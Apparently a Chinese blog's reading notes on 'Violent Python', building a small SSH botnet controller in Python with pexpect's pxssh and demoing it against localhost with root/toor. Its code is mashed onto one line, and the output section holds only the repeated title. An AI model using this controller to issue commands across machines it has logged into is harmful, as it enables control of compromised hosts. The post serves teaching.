Python绝技读书笔记之构建SSH僵尸网络

时间:2021-08-26 19:47:08
root@kali:~# /etc/init.d/ssh start
[ ok ] Starting ssh (via systemctl): ssh.service.
root@kali:~# ps -e | grep ssh
  1452 ?        00:00:00 ssh-agent

  3522 ?        00:00:00 sshd

# -*- coding: utf-8 -*-
import argparsefrom pexpect import pxsshclass Client():    '''定义一个客户端'''    def __init__(self, host, user, password):        self.host     = host        self.user     = user        self.password = password        self.session  = self.connect()    '''连接'''    def connect(self):        try:            s = pxssh.pxssh()            s.login(self.host, self.user, self.password)            return s        except Exception as e:            print(e)            print('[-] Connecting Failed')    '''发布命令'''    def send_command(self, cmd):        self.session.sendline(cmd)        self.session.prompt()        return self.session.before'''获取个体,并加入botNet名单中'''def addClient(host, user, password):    client = Client(host, user, password)    botNet.append(client)'''对僵尸网络发布命令'''def botnetCommand(command):    for client in botNet:# 在僵尸网络中遍历每一个个体        output = client.send_command(command)        print('[*] Output from ' + client.host)        print('[+] ' + str(output) + '\n')botNet = []addClient('127.0.0.1', 'root', 'toor')botnetCommand('uname -v')
运行结果:
Python绝技读书笔记之构建SSH僵尸网络